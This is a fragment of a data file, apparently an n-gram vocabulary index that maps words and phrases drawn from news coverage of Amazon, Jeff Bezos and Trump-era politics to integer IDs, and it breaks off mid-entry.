"formulating": 189185, "things differently": 189186, "science fiction": 189187, "cuomo good": 189188, "government sees": 189189, "unsubstantiated adding": 189190, "ars": 189191, "glen brownworth": 189192, "unlimited benefit": 189193, "usa amazon": 189194, "tepper copy": 189195, "relatively disinterested": 189196, "saw parallel": 189197, "suspense stories": 189198, "maitland president": 189199, "department ofdefense": 189200, "doesn bother": 189201, "pay cohen": 189202, "shiny award": 189203, "morning empire": 189204, "vast expansion": 189205, "tackles america": 189206, "loan borrowers": 189207, "ocasio cortez": 189208, "keating adam": 189209, "804 649": 189210, "trump points": 189211, "showflashslate": 189212, "sales event": 189213, "busy build": 189214, "market ahead": 189215, "painstaking process": 189216, "deeper dive": 189217, "recent headlines": 189218, "nemesis donald": 189219, "jose bernardo": 189220, "tougher posture": 189221, "margarita": 189222, "earlier holdings": 189223, "barclay raised": 189224, "incredibly vast": 189225, "follow president": 189226, "high 2018": 189227, "hamm josie": 189228, "propaganda machine": 189229, "military contracts": 189230, "kompromat": 189231, "404 shares": 189232, "bezos chose": 189233, "economy appears": 189234, "politics environment": 189235, "class photo": 189236, "amzn join": 189237, "drug addiction": 189238, "containerel": 189239, "hasn happened": 189240, "caribbean insight": 189241, "bay movie": 189242, "deposits": 189243, "625 words": 189244, "traderstewie status": 189245, "smackdown hit": 189246, "rocket ship": 189247, "stores forces": 189248, "kohn executive": 189249, "secondly": 189250, "live sketches": 189251, "storms": 189252, "mccauley viceland": 189253, "burglary arrests": 189254, "suckers daily": 189255, "exclusively carry": 189256, "group limited": 189257, "wrote shaun": 189258, "acquire esp": 189259, "reportedly disgusted": 189260, "visit coverage": 189261, "invite public": 189262, "911 calls": 189263, "using public": 189264, "arms control": 189265, "late yesterday": 189266, "apparently reference": 189267, "video catalog": 189268, "life sentence": 189269, "items using": 189270, "banding": 189271, "voted unanimously": 189272, "missing couple": 189273, "wins bipartisan": 189274, "humiliate trump": 189275, "increasingly utilize": 189276, "game president": 189277, "amnesties": 189278, "smart student": 189279, "thing chipotle": 189280, "read nbsptrump": 189281, "693": 189282, "walmart store": 189283, "gamedev apple": 189284, "street michael": 189285, "refuge": 189286, "east": 189287, "early grave": 189288, "scuba diving": 189289, "essential short": 189290, "ofan": 189291, "amazon hatred": 189292, "demand library": 189293, "jag capital": 189294, "writes bloomberg": 189295, "second segment": 189296, "woods affair": 189297, "forward half": 189298, "corporate stocks": 189299, "berlin encounters": 189300, "witty": 189301, "dogtooth kino": 189302, "suppressing positive": 189303, "stock ownership": 189304, "second seat": 189305, "reliefs": 189306, "acmi": 189307, "greater urgency": 189308, "chaotic west": 189309, "customer service": 189310, "new help": 189311, "new client": 189312, "dallas ore": 189313, "good deal": 189314, "stock undervalued": 189315, "animals dignity": 189316, "reed freedom": 189317, "massive storm": 189318, "gangs": 189319, "shoppers probably": 189320, "live work": 189321, "taxpayer cash": 189322, "required zinke": 189323, "lumbering old": 189324, "titled yelp": 189325, "kaster file": 189326, "using blockchain": 189327, "site sheer": 189328, "embarrassing defeat": 189329, "new organization": 189330, "seller agreements": 189331, "egypt rail": 189332, "gives ama": 189333, "spring trump": 189334, "media wibbitz": 189335, "republicans professor": 189336, "life easier": 189337, "reserve survey": 189338, "president fired": 189339, "norah": 189340, "financial documents": 189341, "prior day": 189342, "109": 189343, "david brody": 189344, "newly released": 189345, "include prescription": 189346, "kings county": 189347, "loudmouth": 189348, "596 shares": 189349, "defense contract": 189350, "make profit": 189351, "joins small": 189352, "share agenda": 189353, "antagonist mousa": 189354, "wealth increases": 189355, "point bezos": 189356, "power logistical": 189357, "giving ck": 189358, "scott olson": 189359, "ignore khosrowshahi": 189360, "hotel development": 189361, "getting backlash": 189362, "learning make": 189363, "meredith corp": 189364, "reveal pair": 189365, "mole compounding": 189366, "machine 195229": 189367, "hit 050": 189368, "biased sinclair": 189369, "advocate american": 189370, "surpassed apple": 189371, "company told": 189372, "briefing later": 189373, "warehouse horror": 189374, "indiewire": 189375, "potentially making": 189376, "preacher played": 189377, "emporium": 189378, "spokesman david": 189379, "story americans": 189380, "month pruitt": 189381, "appears spurred": 189382, "hortons": 189383, "information act": 189384, "total spend": 189385, "senate gov": 189386, "begin trading": 189387, "enquirer gossip": 189388, "self best": 189389, "action isn": 189390, "urge congress": 189391, "join amazon": 189392, "worlds": 189393, "year jack": 189394, "gossip site": 189395, "various techniques": 189396, "chickens": 189397, "olsavsky called": 189398, "legislative efforts": 189399, "producer harvey": 189400, "novel element": 189401, "making philanthropy": 189402, "outright reveal": 189403, "new asylum": 189404, "deputy jeff": 189405, "deserving": 189406, "stone reuters": 189407, "increase diversity": 189408, "axios trump": 189409, "week outcome": 189410, "domestic violence": 189411, "publishes unfavorable": 189412, "advertisement advertisement": 189413, "perform real": 189414, "years mnuchin": 189415, "stock spiked": 189416, "began requiring": 189417, "3175 bought": 189418, "230 amazon": 189419, "customers love": 189420, "giving essentially": 189421, "500 pages": 189422, "elm": 189423, "jost": 189424, "lives competitors": 189425, "conservation": 189426, "generally appreciate": 189427, "key": 189428, "oakland": 189429, "soldier awaits": 189430, "congressional allies": 189431, "service employees": 189432, "stephanopoulos asked": 189433, "greater level": 189434, "melissa mark": 189435, "wildfires trump": 189436, "today susan": 189437, "statement suggesting": 189438, "price correction": 189439, "glory": 189440, "siccing": 189441, "relocated": 189442, "coliseum": 189443, "barnes": 189444, "today reports": 189445, "general counseljon": 189446, "issues combined": 189447, "quite possible": 189448, "distraction anti": 189449, "tricks headlineposttext": 189450, "decline facebook": 189451, "vox sentences": 189452, "williamson national": 189453, "beloved nbc": 189454, "mussel": 189455, "l2 z8": 189456, "gas station": 189457, "customers hands": 189458, "xip8joqswh pic": 189459, "record 800": 189460, "immigrants sign": 189461, "photobomb": 189462, "fair piece": 189463, "terrific sanders": 189464, "mike bender": 189465, "criticised": 189466, "marketwatch consumer": 189467, "moderation": 189468, "place law": 189469, "dispute moeller": 189470, "literary forger": 189471, "accurate reporting": 189472, "dodged hundreds": 189473, "neared": 189474, "430": 189475, "wine spirits": 189476, "sure everybody": 189477, "plan calls": 189478, "r4ee t1": 189479, "nationalism anderson": 189480, "blofeldian laugh": 189481, "divest fox": 189482, "theonlinecitizen": 189483, "durbin rep": 189484, "panelists": 189485, "ending daca": 189486, "girlfriend razor": 189487, "commission related": 189488, "amazon leverages": 189489, "rich friends": 189490, "published twisty": 189491, "smaller lunar": 189492, "doubled investors": 189493, "separations inspector": 189494, "mistress trump": 189495, "remain big": 189496, "addition longtime": 189497, "company learn": 189498, "amazon 8217": 189499, "spending promises": 189500, "rate reduced": 189501, "debbie wasserman": 189502, "subsequent email": 189503, "diversification": 189504, "charles sent": 189505, "zamonski": 189506, "jointly owned": 189507, "conspiracy arab": 189508, "position relative": 189509, "finally able": 189510, "service otcpk": 189511, "clothing": 189512, "unfavorably president": 189513, "600mil rm2": 189514, "banks unless": 189515, "citigroup": 189516, "record stock": 189517, "barstow buettner": 189518, "body types": 189519, "025": 189520, "comey according": 189521, "pliable president": 189522, "lyz": 189523, "brings massive": 189524, "factors statement": 189525, "held victory": 189526, "katherine hempstead": 189527, "cloth aside": 189528, "note congresswoman": 189529, "passes gianaris": 189530, "force admitted": 189531, "server719397": 189532, "little kim": 189533, "story cnns": 189534, "carry passengers": 189535, "brennan security": 189536, "pushed usps": 189537, "items promoting": 189538, "qanon forums": 189539, "pruitt deploying": 189540, "commentary tesla": 189541, "bailout": 189542, "ken mahoney": 189543, "crimes promoted": 189544, "includes commissions": 189545, "view amazons": 189546, "billion instantly": 189547, "slows": 189548, "gigyashareelement showindex": 189549, "vladi": 189550, "help assess": 189551, "smiles": 189552, "favours": 189553, "intimidate jeff": 189554, "fear trump": 189555, "amandla stenberg": 189556, "nationally syndicated": 189557, "story fake": 189558, "cancer causing": 189559, "gathered booing": 189560, "corps laughing": 189561, "detractors": 189562, "aurora ted": 189563, "briefly entertained": 189564, "office safe": 189565, "includes joint": 189566, "rutger bregman": 189567, "preventing military": 189568, "amazon long": 189569, "sicilian immigrants": 189570, "company shipping": 189571, "furniture": 189572, "munchable snacks": 189573, "current american": 189574, "changes grace": 189575, "sharing service": 189576, "environmental ministry": 189577, "een middeninkomen": 189578, "great place": 189579, "management decisions": 189580, "dam": 189581, "trumpster": 189582, "profit nearly": 189583, "spoke hours": 189584, "sector amazon": 189585, "439 6400": 189586, "strategist wrote": 189587, "cards according": 189588, "intimate material": 189589, "says working": 189590, "pit states": 189591, "concern concerns": 189592, "respect bezos": 189593, "gan charging": 189594, "cut passed": 189595, "joint investigation": 189596, "uber potentially": 189597, "acquisition accordingly": 189598, "competitive enterprise": 189599, "big plans": 189600, "impose sanctions": 189601, "suisse estimates": 189602, "email list": 189603, "derisive": 189604, "warning admits": 189605, "uploads": 189606, "atlantic ocean": 189607, "east keast": 189608, "ex cia": 189609, "glam tv": 189610, "based production": 189611, "immigrant families": 189612, "staff circulated": 189613, "place digital": 189614, "rules including": 189615, "service higher": 189616, "flying": 189617, "situation won": 189618, "picking crops": 189619, "nasdaq ebay": 189620, "handle sexual": 189621, "peeling": 189622, "growing evidence": 189623, "dealer periodically": 189624, "keeps growing": 189625, "policy proposal": 189626, "jberman": 189627, "464": 189628, "affair jeff": 189629, "later affirmed": 189630, "tap": 189631, "horseman tells": 189632, "disinterested": 189633, "1849": 189634, "kotb ask": 189635, "journal microsoft": 189636, "similar promises": 189637, "dustup saying": 189638, "alan patricof": 189639, "joy simple": 189640, "seat intermediate": 189641, "services rendered": 189642, "billion worth": 189643, "jurna": 189644, "telling brands": 189645, "likes whiner": 189646, "yorkers follow": 189647, "urban policy": 189648, "videoplay videoplay": 189649, "schneider defense": 189650, "ceo pichai": 189651, "melania jacket": 189652, "adjustable": 189653, "meets reportedly": 189654, "gingrich expressed": 189655, "rowling wrote": 189656, "president katie": 189657, "events huge": 189658, "ami previously": 189659, "statement microsoft": 189660, "4000 ecommerce": 189661, "owns treats": 189662, "civilian business": 189663, "net spencer": 189664, "exactly legitimate": 189665, "deputy commissioner": 189666, "spray paint": 189667, "profitability according": 189668, "healthyaf": 189669, "crowed": 189670, "milton": 189671, "soapbox": 189672, "separate source": 189673, "site half": 189674, "service lie": 189675, "inc_pubdate": 189676, "monopolies deserve": 189677, "cortez usa": 189678, "scooters police": 189679, "amazon announced": 189680, "needless risk": 189681, "software think": 189682, "ryanpaul davis": 189683, "susan warren": 189684, "stage investigation": 189685, "goodreads notes": 189686, "workers promising": 189687, "goods bought": 189688, "trump request": 189689, "settlements make": 189690, "launched trade": 189691, "operations apple": 189692, "naomi campbell": 189693, "ross stores": 189694, "host ari": 189695, "survey question": 189696, "requires patience": 189697, "deasy takes": 189698, "weighted": 189699, "attacks impair": 189700, "trump prime": 189701, "coach federation": 189702, "guill\u00e9n": 189703, "autoplayvideoexist false": 189704, "union president": 189705, "techn amazon": 189706, "overdose connecticut": 189707, "increasingly offline": 189708, "granted immunity": 189709, "time private": 189710, "publicity benefits": 189711, "decried": 189712, "considered currency": 189713, "clairevoyant": 189714, "ai winter": 189715, "closings": 189716, "text remove": 189717, "politics cold": 189718, "mile package": 189719, "crimes michigan": 189720, "imploring trump": 189721, "improvement compared": 189722, "kino": 189723, "human dignity": 189724, "white girlfriend": 189725, "business story": 189726, "term shareholders": 189727, "influence major": 189728, "sears origin": 189729, "judiciary chairman": 189730, "performance": 189731, "wing mexican": 189732, "pivot year": 189733, "skinned": 189734, "reelection prospects": 189735, "obviously concocted": 189736, "store chains": 189737, "rural": 189738, "cnn money": 189739, "flexential": 189740, "possibilities working": 189741, "goth": 189742, "political advocacy": 189743, "different people": 189744, "2001 day": 189745, "facebook blood": 189746, "newssuite": 189747, "documents viewed": 189748, "accepting personal": 189749, "term stock": 189750, "denies trump": 189751, "innovation new": 189752, "union organizing": 189753, "finland photos": 189754, "decipher": 189755, "places higher": 189756, "global counterfeit": 189757, "big key": 189758, "recognize people": 189759, "chart midway": 189760, "commands dance": 189761, "based direct": 189762, "organics": 189763, "evidence showing": 189764, "members denounced": 189765, "publisher distributor": 189766, "trump denied": 189767, "payment plans": 189768, "stephen": 189769, "particularly competitive": 189770, "mirrored": 189771, "picked apart": 189772, "halo effect": 189773, "production facilities": 189774, "currents": 189775, "kavanaugh swearing": 189776, "jefferies analyst": 189777, "logistics cut": 189778, "boar activists": 189779, "afterworking": 189780, "navy vet": 189781, "wright wipes": 189782, "microscope": 189783, "honed": 189784, "good indicator": 189785, "house confirmed": 189786, "meiji": 189787, "queried amazon": 189788, "today economy": 189789, "international markets": 189790, "california teenager": 189791, "lab billings": 189792, "counselors 257": 189793, "consider reasonable": 189794, "homes html": 189795, "chairman joseph": 189796, "sanders finally": 189797, "policing agenda": 189798, "research regarding": 189799, "independent litigative": 189800, "activision": 189801, "person campus": 189802, "2018 cardinal": 189803, "day mind": 189804, "oddly": 189805, "kroger grocery": 189806, "culver": 189807, "mnuchin trump": 189808, "near arizona": 189809, "consultation fees": 189810, "american discourse": 189811, "hosts meeting": 189812, "virtual highways": 189813, "similar magnitude": 189814, "firms tout": 189815, "favorably": 189816, "billion going": 189817, "tablet devices": 189818, "embracing inclusiveness": 189819, "microsoft veteran": 189820, "imf": 189821, "better mark": 189822, "remains potential": 189823, "states hit": 189824, "ethics investigations": 189825, "administration war": 189826, "sears operates": 189827, "member house": 189828, "increased day": 189829, "places lsa": 189830, "help control": 189831, "recently restocked": 189832, "edition": 189833, "interview enquirer": 189834, "acquire red": 189835, "writer stephen": 189836, "don rubenstein": 189837, "amid grudge": 189838, "earnin": 189839, "future clark": 189840, "wasyou": 189841, "5g cellphone": 189842, "infrastructure healthcare": 189843, "ver": 189844, "favorite pejorative": 189845, "year fiscal": 189846, "markey trump": 189847, "customers probably": 189848, "momentum shift": 189849, "couple massive": 189850, "providing 000": 189851, "food water": 189852, "hamilton": 189853, "baddest": 189854, "changing technologies": 189855, "neoconservative": 189856, "campaign email": 189857, "unbearable hot": 189858, "area bezos": 189859, "foxconn walker": 189860, "coal fired": 189861, "neighbours defeated": 189862, "considering profitability": 189863, "strength despite": 189864, "matt smith": 189865, "recitation": 189866, "sharecast news": 189867, "halls": 189868, "tory": 189869, "fund blue": 189870, "numbers create": 189871, "buy batteries": 189872, "addition long": 189873, "trump asked": 189874, "falsely claimed": 189875, "khan author": 189876, "created virtual": 189877, "holder": 189878, "key phrase": 189879, "redeemed": 189880, "reality shares": 189881, "facilitate energy": 189882, "tech boom": 189883, "cross section": 189884, "won accuse": 189885, "facebook british": 189886, "monstrous capitalist": 189887, "infrastructure enhancements": 189888, "kavanaugh told": 189889, "recognized worldwide": 189890, "women basketball": 189891, "words photos": 189892, "bag shaving": 189893, "separated thousands": 189894, "major blow": 189895, "publishing tense": 189896, "rewarding": 189897, "crawls": 189898, "tweeted earlier": 189899, "entertainers": 189900, "reported cnbc": 189901, "company delivers": 189902, "reddit offered": 189903, "billion philanthropic": 189904, "amazon political": 189905, "spare billions": 189906, "gain far": 189907, "took scalpel": 189908, "patient health": 189909, "southbound": 189910, "given right": 189911, "biometric collection": 189912, "brewers": 189913, "quote anonymous": 189914, "plummets": 189915, "broader economy": 189916, "kidsfoundation holdings": 189917, "spending blueprint": 189918, "moribund defunct": 189919, "times nytimes": 189920, "electronic wonders": 189921, "pane": 189922, "biome": 189923, "green hydroelectric": 189924, "sanctions texas": 189925, "fights": 189926, "choreographed action": 189927, "official document": 189928, "stamps": 189929, "suspects amazon": 189930, "surpassing microsoft": 189931, "jointly liable": 189932, "wrong step": 189933, "massive changes": 189934, "caleb howe": 189935, "sign trade": 189936, "sheer reach": 189937, "microscope forcing": 189938, "strongly suspected": 189939, "budget commission": 189940, "display tube": 189941, "cultural marxists": 189942, "george martin": 189943, "herald sun": 189944, "marches ahead": 189945, "push shares": 189946, "ordered trump": 189947, "expansive view": 189948, "conservatives unfairly": 189949, "kindle books": 189950, "init": 189951, "proposed billion": 189952, "902": 189953, "good strategy": 189954, "received new": 189955, "gucci": 189956, "explain president": 189957, "rugeley": 189958, "multimillionaire": 189959, "minimum prices": 189960, "traffic travels": 189961, "party according": 189962, "zapolsky": 189963, "successful work": 189964, "real goal": 189965, "people depend": 189966, "sears eddie": 189967, "create tech": 189968, "score valuation": 189969, "health writer": 189970, "term think": 189971, "mgmt grp": 189972, "purchases aside": 189973, "prenup": 189974, "policies goldman": 189975, "store consequently": 189976, "rttnews amazon": 189977, "yorktown management": 189978, "nyc1": 189979, "colony america": 189980, "postage rate": 189981, "extraordinary general": 189982, "hired lobbyists": 189983, "equities jumped": 189984, "queens earlier": 189985, "self inflected": 189986, "products leg": 189987, "tense negotiations": 189988, "significantly cut": 189989, "ron miller": 189990, "hiring reporters": 189991, "did nail": 189992, "clients amazon": 189993, "started enforcing": 189994, "boarding marine": 189995, "management strategy": 189996, "sussex county": 189997, "bring tools": 189998, "incentive offers": 189999, "retailing amazon": 190000, "2rwt0wj8vd": 190001, "expensive journalism": 190002, "deep state": 190003, "rate usps": 190004, "lending officer": 190005, "panicked reaction": 190006, "commerce web": 190007, "bigcharts": 190008, "mobile applications": 190009, "mohammed": 190010, "team andrea": 190011, "amid increased": 190012, "jinping sent": 190013, "nazi groups": 190014, "away anytime": 190015, "techies": 190016, "producing new": 190017, "operating nonprofit": 190018, "r4ee b6": 190019, "website wilson": 190020, "sell juul": 190021, "mouthpiece": 190022, "adobe": 190023, "recipient generates": 190024, "pennsylvania billion": 190025, "celine mcnicholas": 190026, "travel data": 190027, "bid wasn": 190028, "worker headquarters": 190029, "incur losses": 190030, "kabocha squash": 190031, "branding cardcontents": 190032, "discuss hq2": 190033, "fuelled": 190034, "post gm": 190035, "responsibility fell": 190036, "content want": 190037, "ling": 190038, "uu9ssaa17kk3": 190039, "lgbtq people": 190040, "dealingswith countries": 190041, "address stickier": 190042, "ice largest": 190043, "package company": 190044, "smalltown": 190045, "chiding": 190046, "mail sally": 190047, "findings trump": 190048, "inheriting billions": 190049, "scientific formula": 190050, "weather uncontrollable": 190051, "world record": 190052, "stage demonstrations": 190053, "right bbc": 190054, "ndas": 190055, "achievable": 190056, "pissing match": 190057, "kelly rita": 190058, "little tsunami": 190059, "largest protest": 190060, "run news": 190061, "john colderice": 190062, "brock bradford": 190063, "lindsey collom": 190064, "christopher coons": 190065, "old says": 190066, "reproducible ecosystem": 190067, "play hq": 190068, "100 rate": 190069, "special shipping": 190070, "previously led": 190071, "trump mounting": 190072, "big issues": 190073, "jocum claim": 190074, "suggested government": 190075, "communications suite": 190076, "ceo travis": 190077, "week lower": 190078, "alliance new": 190079, "abroad little": 190080, "restaurant chain": 190081, "vanguard": 190082, "nods": 190083, "fresh food": 190084, "announced cloud": 190085, "guardiola managing": 190086, "admitted working": 190087, "connected": 190088, "day fund": 190089, "prime option": 190090, "1964": 190091, "idaho american": 190092, "kid carriers": 190093, "release embarrassing": 190094, "deck reported": 190095, "outright owning": 190096, "little value": 190097, "short statement": 190098, "malinowski think": 190099, "rung advised": 190100, "sen kwame": 190101, "using unsettling": 190102, "country agricultural": 190103, "cohen president": 190104, "forecasters": 190105, "deleted": 190106, "getting tired": 190107, "large life": 190108, "vestager takes": 190109, "undervaluing": 190110, "competition lowers": 190111, "siraj hashmi": 190112, "stocks 2019": 190113, "fla ga": 190114, "long related": 190115, "days using": 190116, "wsj kristina": 190117, "hot water": 190118, "site infowars": 190119, "weapon noting": 190120, "surprised president": 190121, "lik": 190122, "told politico": 190123, "community knew": 190124, "buy political": 190125, "eurozone": 190126, "challenge particularly": 190127, "columnist josh": 190128, "fresh approach": 190129, "stop shop": 190130, "torrid rate": 190131, "inkling": 190132, "necessarily need": 190133, "attempts suicidal": 190134, "chg": 190135, "economy feeney": 190136, "tostring f7a": 190137, "challenging telecom": 190138, "different arrangements": 190139, "trump retailers": 190140, "firm cashier": 190141, "struck agreements": 190142, "headlineplaintext": 190143, "data held": 190144, "shiny new": 190145, "current close": 190146, "occupyicepdx": 190147, "manikin": 190148, "netflix obama": 190149, "afghans worry": 190150, "retirement fund": 190151, "showering companies": 190152, "hq pic": 190153, "deal kickers": 190154, "technology trump": 190155, "bear market": 190156, "svp dave": 190157, "prison spending": 190158, "breaches hacks": 190159, "photo saying": 190160, "right states": 190161, "papazian aoc": 190162, "source avoided": 190163, "career workers": 190164, "tabloids new": 190165, "900 adults": 190166, "relatively weak": 190167, "koenig": 190168, "ingraham told": 190169, "rumored helipad": 190170, "times included": 190171, "trading companies": 190172, "mock trump": 190173, "capsule mockup": 190174, "story jekyll": 190175, "distinctions": 190176, "s\u00e1nchez helped": 190177, "35b": 190178, "sees story": 190179, "aka": 190180, "addresses campaign": 190181, "friendly product": 190182, "creates things": 190183, "kaswell": 190184, "amazon hello": 190185, "kimberly clark": 190186, "china public": 190187, "price shipping": 190188, "note citing": 190189, "tailer enjoys": 190190, "privacy abuses": 190191, "white goo": 190192, "g7 lg": 190193, "archive jeff": 190194, "arizona greene": 190195, "sessions gives": 190196, "facebook bought": 190197, "boeing 787": 190198, "racist islamophobic": 190199, "recruitment pushes": 190200, "quarter nonetheless": 190201, "payback 2017": 190202, "clothes supporting": 190203, "satisfaction polls": 190204, "scarborough calls": 190205, "obvious winner": 190206, "europe html": 190207, "exact scent": 190208, "rentier sectors": 190209, "national alert": 190210, "murphy manager": 190211, "judge gerald": 190212, "perfect costume": 190213, "178 george": 190214, "posits bezos": 190215, "billion packages": 190216, "publishers serve": 190217, "relationship": 190218, "city hall": 190219, "surface read": 190220, "shakeup california": 190221, "tucson": 190222, "movie makers": 190223, "bochy belongs": 190224, "retailers profits": 190225, "business analyst": 190226, "companies htc": 190227, "leading candidate": 190228, "service aws": 190229, "wants solid": 190230, "picketed hectored": 190231, "says did": 190232, "letters caused": 190233, "technology news": 190234, "equity inflows": 190235, "bbc request": 190236, "special prime": 190237, "somber moment": 190238, "500 975": 190239, "leni": 190240, "border crossings": 190241, "petrochina hasn": 190242, "message mocking": 190243, "aut_column_name action": 190244, "secret amazon": 190245, "viable theory": 190246, "cohen testimony": 190247, "trumpian principle": 190248, "growing market": 190249, "lomb": 190250, "bezos says": 190251, "largest cloud": 190252, "myles udland": 190253, "bi bengaluru": 190254, "congress souring": 190255, "office 965": 190256, "rival fedex": 190257, "vocal supporter": 190258, "confrontation occurred": 190259, "politics divided": 190260, "high dosage": 190261, "paper finds": 190262, "lasted": 190263, "really believed": 190264, "natural gas": 190265, "east conference": 190266, "large plant": 190267, "maxine tagay": 190268, "isn high": 190269, "gitmo": 190270, "headquarters buildings": 190271, "council president": 190272, "person ahead": 190273, "forceful political": 190274, "hike spurred": 190275, "workers protested": 190276, "altering": 190277, "retailers need": 190278, "ii surveillance": 190279, "spots northern": 190280, "muller": 190281, "385x240 uploaded_files": 190282, "intelligence reporting": 190283, "remain focused": 190284, "fantastic occupation": 190285, "technical criteria": 190286, "ddale8": 190287, "louisiana": 190288, "things according": 190289, "based form": 190290, "johnson facebook": 190291, "enforcing new": 190292, "cutting board": 190293, "changes need": 190294, "longstanding differences": 190295, "modi told": 190296, "tiffani": 190297, "odd incentive": 190298, "driving new": 190299, "2017 follow": 190300, "vacations cover": 190301, "reuters brexit": 190302, "unlikely comedy": 190303, "force sbe": 190304, "scorecard photo": 190305, "fumes": 190306, "pieces information": 190307, "rapid adoption": 190308, "methods believed": 190309, "lynne benioff": 190310, "subsidizing sports": 190311, "abraham lincoln": 190312, "binge shop": 190313, "service charges": 190314, "china internet": 190315, "visit naturalmedicine": 190316, "markets insider": 190317, "recently selected": 190318, "ensemble": 190319, "care jim": 190320, "generally surrender": 190321, "pubdate 2019": 190322, "degree amazon": 190323, "maylor": 190324, "mexico sen": 190325, "pitiful": 190326, "going missing": 190327, "complaints certainly": 190328, "added kingston": 190329, "detracted": 190330, "responsiveness": 190331, "exhaustive search": 190332, "finance customers": 190333, "post sorry": 190334, "electronics clothes": 190335, "app\u00e9tit": 190336, "day availability": 190337, "errant": 190338, "mail insurers": 190339, "dg": 190340, "criminal violations": 190341, "shelter jewish": 190342, "case raphaella": 190343, "jeopardize trade": 190344, "scale half": 190345, "pg rail": 190346, "administration positions": 190347, "opposition don": 190348, "specialists warned": 190349, "undefeated": 190350, "flavor good": 190351, "testimonial": 190352, "auto alliance": 190353, "red lights": 190354, "crow picture": 190355, "offer additionally": 190356, "jacinta": 190357, "fcau stock": 190358, "needs brain": 190359, "buying washington": 190360, "attachment": 190361, "khalil": 190362, "f6 object": 190363, "fall short": 190364, "thirdparty advantage": 190365, "trump turned": 190366, "earnings countdown": 190367, "group met": 190368, "spent 250": 190369, "fdx united": 190370, "competitors eu": 190371, "day does": 190372, "views": 190373, "leone declares": 190374, "recommend matador": 190375, "hour white": 190376, "tax delaware": 190377, "10bn contract": 190378, "disclosure shows": 190379, "powerful forum": 190380, "dollar terms": 190381, "jake gyllenhaal": 190382, "cycle nathaniel": 190383, "impeachment dems": 190384, "2000 2017": 190385, "incendiary family": 190386, "googl alphabet": 190387, "allowed space": 190388, "caucus including": 190389, "generation amazon": 190390, "mysterious female": 190391, "phoebe": 190392, "close frankfurt": 190393, "ceo trump": 190394, "world wars": 190395, "assist solely": 190396, "period earlier": 190397, "delivery ambitions": 190398, "just substitute": 190399, "wages fair": 190400, "revolution hudgins": 190401, "provides media": 190402, "devices raises": 190403, "usps financial": 190404, "fewer reductions": 190405, "levelled number": 190406, "foreclosure investing": 190407, "epi": 190408, "medieval": 190409, "near reaching": 190410, "jr anderson": 190411, "writes regular": 190412, "priorities cbpp": 190413, "900": 190414, "daily amazon": 190415, "important challenges": 190416, "lapses facebook": 190417, "bookstores publishing": 190418, "covenant blessings": 190419, "eagerly waiting": 190420, "scheduling app": 190421, "second opinion": 190422, "479": 190423, "biggest risks": 190424, "52sdfytq8n dave": 190425, "700 billion": 190426, "employees contributing": 190427, "giant aws": 190428, "amid lengthy": 190429, "david fineman": 190430, "check northern": 190431, "printer": 190432, "conglomerate ill": 190433, "membership poll": 190434, "calmly explained": 190435, "amazon register": 190436, "parks foundation": 190437, "ryan adams": 190438, "trending items": 190439, "allegedly stealing": 190440, "17369482": 190441, "beneficial trump": 190442, "immigrant hordes": 190443, "captured wide": 190444, "state religious": 190445, "advertisements": 190446, "rock": 190447, "chose new": 190448, "grill sent": 190449, "coming 2018": 190450, "bezos brushed": 190451, "spillover": 190452, "aligning workers": 190453, "fedex market": 190454, "lifting relatively": 190455, "commission ultimate": 190456, "media age": 190457, "alleging toxic": 190458, "kept notes": 190459, "growth earlier": 190460, "teach young": 190461, "highly confidential": 190462, "voice group": 190463, "aggressive anti": 190464, "garza trans": 190465, "increment": 190466, "aberration trump": 190467, "politics amazon": 190468, "schiff warning": 190469, "pay democratic": 190470, "elites remain": 190471, "photos obit": 190472, "moya asked": 190473, "sessions shoulder": 190474, "hadn conducted": 190475, "decision does": 190476, "unwind including": 190477, "everybody talks": 190478, "restrained coverage": 190479, "saga isn": 190480, "beast story": 190481, "serving nearly": 190482, "sex lives": 190483, "feather flock": 190484, "neighborhood improvements": 190485, "tomorrows": 190486, "annual veterans": 190487, "cabaret": 190488, "visit disneyland": 190489, "maverick wrote": 190490, "tech concept": 190491, "surfer sets": 190492, "universally praised": 190493, "washington democrats": 190494, "d\u00e9by unsettled": 190495, "2007 flotation": 190496, "pay disparity": 190497, "senator marsha": 190498, "facebook acquisition": 190499, "sports programming": 190500, "agriculture fishing": 190501, "company evaded": 190502, "recently shaken": 190503, "o8 set": 190504, "a4ee s0": 190505, "world left": 190506, "anti semitism": 190507, "breaking federal": 190508, "sovereignty": 190509, "martial law": 190510, "ap remember": 190511, "21st day": 190512, "cook isn": 190513, "sacred site": 190514, "kente cloth": 190515, "provide lower": 190516, "helped kill": 190517, "centers job": 190518, "tindall": 190519, "protect": 190520, "numerous occasions": 190521, "author make": 190522, "pascal": 190523, "straits reporting": 190524, "animus": 190525, "today screenshot": 190526, "send clear": 190527, "architect iconimageurl": 190528, "charging delivery": 190529, "beard": 190530, "magic leap": 190531, "ariana grande": 190532, "basket": 190533, "decacorn": 190534, "reserve fed": 190535, "nick offerman": 190536, "justice tlaib": 190537, "fallible artificial": 190538, "world hasn": 190539, "media4 nbcnews": 190540, "vendor picks": 190541, "approves quarterly": 190542, "contributor national": 190543, "court papers": 190544, "nots continues": 190545, "sanchez hasn": 190546, "eu concluded": 190547, "example don": 190548, "shot contenders": 190549, "press nonprofits": 190550, "influential cost": 190551, "currently jeff": 190552, "skilled workforce": 190553, "grandparents shopped": 190554, "amazon 259": 190555, "sources told": 190556, "john redeker": 190557, "adds usps": 190558, "university city": 190559, "gray amazon": 190560, "usps potentially": 190561, "comparing amazon": 190562, "mad men": 190563, "boards original": 190564, "aisle unbelievable": 190565, "squabbling rarely": 190566, "area dedicated": 190567, "including barack": 190568, "growth paris": 190569, "screens make": 190570, "brooklyn williams": 190571, "means penalties": 190572, "cameras screaming": 190573, "historical": 190574, "offer free": 190575, "title colbert": 190576, "correlates drop": 190577, "sara feigenholtz": 190578, "russian propaganda": 190579, "porn": 190580, "payment thanks": 190581, "years statista": 190582, "fishing licenses": 190583, "little drummer": 190584, "bezos purchase": 190585, "experts helps": 190586, "yb": 190587, "hearing arguments": 190588, "matthews tells": 190589, "market rallies": 190590, "obtained messages": 190591, "exonerated release": 190592, "financial advice": 190593, "crisisall": 190594, "overall lots": 190595, "including stickers": 190596, "order fillers": 190597, "jocelyn": 190598, "east virginia": 190599, "video_headline 1iq5vw0": 190600, "comprehensive solutions": 190601, "1547043466000": 190602, "lisota artificial": 190603, "sidelines walmart": 190604, "key positions": 190605, "hacked quest": 190606, "streaming device": 190607, "denied bias": 190608, "rogers told": 190609, "condemnations": 190610, "expects decisive": 190611, "lesser rich": 190612, "twitter trump": 190613, "added flake": 190614, "repeatedly raised": 190615, "music focused": 190616, "sped": 